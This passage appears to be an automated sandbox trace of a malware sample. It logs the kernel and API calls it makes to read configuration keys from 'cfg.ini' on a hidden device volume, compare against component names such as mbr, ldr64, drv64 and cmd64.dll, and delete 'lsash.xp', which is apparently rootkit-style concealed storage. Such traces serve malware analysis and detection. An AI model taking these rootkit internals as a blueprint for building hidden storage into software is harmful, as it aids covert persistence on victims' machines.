ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.274] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.274] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4a30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.274] KeLeaveCriticalRegion () [0121.274] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.274] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.274] KeEnterCriticalRegion () [0121.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.274] ExFreePoolWithTag (P=0xfffffa8003bc3500, Tag=0x0) [0121.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.274] KeLeaveCriticalRegion () [0121.274] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.274] ReleaseMutex (hMutex=0xf0) returned 1 [0121.274] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.274] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.274] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.274] KeEnterCriticalRegion () [0121.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.274] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.274] IdePortDispatch () returned 0x103 [0121.274] KeWaitForMutexObject () returned 0x0 [0121.274] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.274] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.274] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.274] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.274] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.274] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc39f0 [0121.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.274] KeLeaveCriticalRegion () [0121.274] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.274] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.274] KeEnterCriticalRegion () [0121.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.274] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.275] KeLeaveCriticalRegion () [0121.275] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.275] KeEnterCriticalRegion () [0121.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.275] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.275] IdePortDispatch () returned 0x103 [0121.275] KeWaitForMutexObject () returned 0x0 [0121.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.275] KeLeaveCriticalRegion () [0121.275] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.275] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.275] KeEnterCriticalRegion () [0121.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.275] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035eb000 [0121.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.275] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.275] IdePortDispatch () returned 0x103 [0121.275] KeWaitForMutexObject () returned 0x0 [0121.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.275] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.275] IdePortDispatch () returned 0x103 [0121.276] KeWaitForMutexObject () returned 0x0 [0121.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.276] KeLeaveCriticalRegion () [0121.276] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.276] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.276] KeEnterCriticalRegion () [0121.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.276] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.276] KeLeaveCriticalRegion () [0121.276] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.276] KeEnterCriticalRegion () [0121.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.276] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.276] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.276] KeLeaveCriticalRegion () [0121.276] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.276] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.276] KeEnterCriticalRegion () [0121.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.276] ExFreePoolWithTag (P=0xfffffa8003bc39f0, Tag=0x0) [0121.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.276] KeLeaveCriticalRegion () [0121.277] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.277] ReleaseMutex (hMutex=0xf0) returned 1 [0121.277] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.277] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.277] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.277] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.277] KeEnterCriticalRegion () [0121.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.277] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.277] IdePortDispatch () returned 0x103 [0121.277] KeWaitForMutexObject () returned 0x0 [0121.277] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.277] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.277] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.277] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.277] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.277] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.277] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.277] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.277] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.277] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.277] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.277] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.277] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.277] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.277] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.277] KeLeaveCriticalRegion () [0121.277] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.277] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.277] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.277] KeEnterCriticalRegion () [0121.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.278] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.278] IdePortDispatch () returned 0x103 [0121.278] KeWaitForMutexObject () returned 0x0 [0121.278] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.278] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.278] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.278] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.278] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.278] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.278] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.278] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.278] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.278] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.278] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.278] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.278] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.278] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.278] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.278] KeLeaveCriticalRegion () [0121.278] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.278] ReleaseMutex (hMutex=0x100) returned 1 [0121.278] Sleep (dwMilliseconds=0x2bf20) [0121.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b7d7a70, dwHighDateTime=0x1d24fa4)) [0121.285] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.285] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.285] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.285] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.285] KeEnterCriticalRegion () [0121.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.285] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.285] IdePortDispatch () returned 0x103 [0121.285] KeWaitForMutexObject () returned 0x0 [0121.285] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.285] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.285] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.285] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.285] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.285] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba4b0 [0121.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.285] KeLeaveCriticalRegion () [0121.285] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.285] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.285] KeEnterCriticalRegion () [0121.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.286] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.286] KeLeaveCriticalRegion () [0121.286] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.286] KeEnterCriticalRegion () [0121.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.286] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.286] IdePortDispatch () returned 0x103 [0121.286] KeWaitForMutexObject () returned 0x0 [0121.286] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.286] KeLeaveCriticalRegion () [0121.286] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.286] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.286] KeEnterCriticalRegion () [0121.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.286] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ee000 [0121.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.286] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.286] IdePortDispatch () returned 0x103 [0121.286] KeWaitForMutexObject () returned 0x0 [0121.286] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.287] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.287] IdePortDispatch () returned 0x103 [0121.287] KeWaitForMutexObject () returned 0x0 [0121.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.287] KeLeaveCriticalRegion () [0121.287] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.287] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.287] KeEnterCriticalRegion () [0121.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.287] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.287] KeLeaveCriticalRegion () [0121.287] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.287] KeEnterCriticalRegion () [0121.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.287] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.287] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.287] KeLeaveCriticalRegion () [0121.287] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.287] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.288] KeEnterCriticalRegion () [0121.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.288] ExFreePoolWithTag (P=0xfffffa8003bba4b0, Tag=0x0) [0121.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.288] KeLeaveCriticalRegion () [0121.288] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.288] ReleaseMutex (hMutex=0xf0) returned 1 [0121.288] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.288] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.288] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.288] KeEnterCriticalRegion () [0121.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.288] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.288] IdePortDispatch () returned 0x103 [0121.288] KeWaitForMutexObject () returned 0x0 [0121.288] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.288] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.288] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.288] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.288] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.288] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4e10 [0121.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.288] KeLeaveCriticalRegion () [0121.288] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.288] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.288] KeEnterCriticalRegion () [0121.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.288] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.288] KeLeaveCriticalRegion () [0121.288] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.288] KeEnterCriticalRegion () [0121.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.289] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.289] IdePortDispatch () returned 0x103 [0121.289] 